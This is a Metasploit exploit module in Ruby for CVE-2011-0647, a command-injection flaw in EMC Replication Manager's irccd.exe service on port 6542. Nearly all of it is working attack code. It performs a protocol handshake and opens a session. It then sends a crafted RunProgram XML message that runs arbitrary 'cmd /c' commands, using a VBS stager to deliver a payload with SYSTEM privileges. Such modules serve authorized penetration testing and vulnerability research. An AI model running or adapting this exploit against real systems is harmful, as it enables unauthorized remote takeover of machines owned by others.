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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::CmdStager
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'EMC Replication Manager Command Execution',
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        'Description' => %q{
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          This module exploits a remote command-injection vulnerability in EMC Replication Manager
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          client (irccd.exe). By sending a specially crafted message invoking RunProgram function an
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          attacker may be able to execute arbitrary commands with SYSTEM privileges. Affected
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          products are EMC Replication Manager < 5.3. This module has been successfully tested
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          against EMC Replication Manager 5.2.1 on XP/W2003. EMC Networker Module for Microsoft
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          Applications 2.1 and 2.2 may be vulnerable too although this module have not been tested
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          against these products.
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        },
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        'Author' => [
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          'Unknown', # Initial discovery
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          'Davy Douhine' # MSF module
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        ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2011-0647' ],
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          [ 'OSVDB', '70853' ],
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          [ 'BID', '46235' ],
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          [ 'URL', 'http://www.securityfocus.com/archive/1/516260' ],
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          [ 'ZDI', '11-061' ]
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        ],
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        'DisclosureDate' => '2011-02-07',
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        'Platform' => 'win',
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        'Arch' => ARCH_X86,
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        'Payload' => {
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          'Space' => 4096,
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          'DisableNops' => true
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        },
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        'Targets' => [
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          # Tested on Windows XP and Windows 2003
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          [ 'EMC Replication Manager 5.2.1 / Windows Native Payload', {} ]
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        ],
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        'CmdStagerFlavor' => 'vbs',
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        'DefaultOptions' => {
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          'WfsDelay' => 5
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        },
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        'DefaultTarget' => 0,
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        'Privileged' => true,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(6542)
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      ]
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    )
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  end
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  def exploit
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    execute_cmdstager({ :linemax => 5000 })
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  end
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  def execute_command(cmd, opts)
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    connect
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    hello = "1HELLOEMC00000000000000000000000"
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    vprint_status("Sending hello...")
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    sock.put(hello)
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    result = sock.get_once || ''
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    if result =~ /RAWHELLO/
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      vprint_good("Expected hello response")
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    else
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      disconnect
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      fail_with(Failure::Unknown, "Failed to hello the server")
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    end
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    start_session = "EMC_Len0000000136<?xml version=\"1.0\" encoding=\"UTF-8\"?><ir_message ir_sessionId=0000 ir_type=\"ClientStartSession\" <ir_version>1</ir_version></ir_message>"
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    vprint_status("Starting session...")
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    sock.put(start_session)
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    result = sock.get_once || ''
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    if result =~ /EMC/
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      vprint_good("A session has been created. Good.")
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    else
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      disconnect
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      fail_with(Failure::Unknown, "Failed to create the session")
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    end
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    run_prog = "<?xml version=\"1.0\" encoding=\"UTF-8\"?> "
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    run_prog << "<ir_message ir_sessionId=\"01111\" ir_requestId=\"00000\" ir_type=\"RunProgram\" ir_status=\"0\"><ir_runProgramCommand>cmd /c #{cmd}</ir_runProgramCommand>"
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    run_prog << "<ir_runProgramAppInfo>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt; &lt;ir_message ir_sessionId=&quot;00000&quot; ir_requestId=&quot;00000&quot; "
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    run_prog << "ir_type=&quot;App Info&quot; ir_status=&quot;0&quot;&gt;&lt;IR_groupEntry IR_groupType=&quot;anywriter&quot;  IR_groupName=&quot;CM1109A1&quot;  IR_groupId=&quot;1&quot; "
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    run_prog << "&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?	&amp;gt; &amp;lt;ir_message ir_sessionId=&amp;quot;00000&amp;quot; "
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    run_prog << "ir_requestId=&amp;quot;00000&amp;quot;ir_type=&amp;quot;App Info&amp;quot; ir_status=&amp;quot;0&amp;quot;&amp;gt;&amp;lt;aa_anywriter_ccr_node&amp;gt;CM1109A1"
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    run_prog << "&amp;lt;/aa_anywriter_ccr_node&amp;gt;&amp;lt;aa_anywriter_fail_1018&amp;gt;0&amp;lt;/aa_anywriter_fail_1018&amp;gt;&amp;lt;aa_anywriter_fail_1019&amp;gt;0"
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    run_prog << "&amp;lt;/aa_anywriter_fail_1019&amp;gt;&amp;lt;aa_anywriter_fail_1022&amp;gt;0&amp;lt;/aa_anywriter_fail_1022&amp;gt;&amp;lt;aa_anywriter_runeseutil&amp;gt;1"
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    run_prog << "&amp;lt;/aa_anywriter_runeseutil&amp;gt;&amp;lt;aa_anywriter_ccr_role&amp;gt;2&amp;lt;/aa_anywriter_ccr_role&amp;gt;&amp;lt;aa_anywriter_prescript&amp;gt;"
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    run_prog << "&amp;lt;/aa_anywriter_prescript&amp;gt;&amp;lt;aa_anywriter_postscript&amp;gt;&amp;lt;/aa_anywriter_postscript&amp;gt;&amp;lt;aa_anywriter_backuptype&amp;gt;1"
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    run_prog << "&amp;lt;/aa_anywriter_backuptype&amp;gt;&amp;lt;aa_anywriter_fail_447&amp;gt;0&amp;lt;/aa_anywriter_fail_447&amp;gt;&amp;lt;aa_anywriter_fail_448&amp;gt;0"
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    run_prog << "&amp;lt;/aa_anywriter_fail_448&amp;gt;&amp;lt;aa_exchange_ignore_all&amp;gt;0&amp;lt;/aa_exchange_ignore_all&amp;gt;&amp;lt;aa_anywriter_sthread_eseutil&amp;gt;0&amp"
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    run_prog << ";lt;/aa_anywriter_sthread_eseutil&amp;gt;&amp;lt;aa_anywriter_required_logs&amp;gt;0&amp;lt;/aa_anywriter_required_logs&amp;gt;&amp;lt;aa_anywriter_required_logs_path"
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    run_prog << "&amp;gt;&amp;lt;/aa_anywriter_required_logs_path&amp;gt;&amp;lt;aa_anywriter_throttle&amp;gt;1&amp;lt;/aa_anywriter_throttle&amp;gt;&amp;lt;aa_anywriter_throttle_ios&amp;gt;300"
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    run_prog << "&amp;lt;/aa_anywriter_throttle_ios&amp;gt;&amp;lt;aa_anywriter_throttle_dur&amp;gt;1000&amp;lt;/aa_anywriter_throttle_dur&amp;gt;&amp;lt;aa_backup_username&amp;gt;"
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    run_prog << "&amp;lt;/aa_backup_username&amp;gt;&amp;lt;aa_backup_password&amp;gt;&amp;lt;/aa_backup_password&amp;gt;&amp;lt;aa_exchange_checksince&amp;gt;1335208339"
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    run_prog << "&amp;lt;/aa_exchange_checksince&amp;gt; &amp;lt;/ir_message&amp;gt;&lt;/IR_groupEntry&gt; &lt;/ir_message&gt;</ir_runProgramAppInfo>"
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    run_prog << "<ir_applicationType>anywriter</ir_applicationType><ir_runProgramType>backup</ir_runProgramType> </ir_message>"
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    run_prog_header = "EMC_Len000000"
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    run_prog_packet = run_prog_header + run_prog.length.to_s + run_prog
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    vprint_status("Executing command....")
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    sock.put(run_prog_packet)
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    sock.get_once(-1, 1)
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    end_string = Rex::Text.rand_text_alpha(rand(10) + 32)
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    sock.put(end_string)
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    sock.get_once(-1, 1)
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    disconnect
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  end
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end
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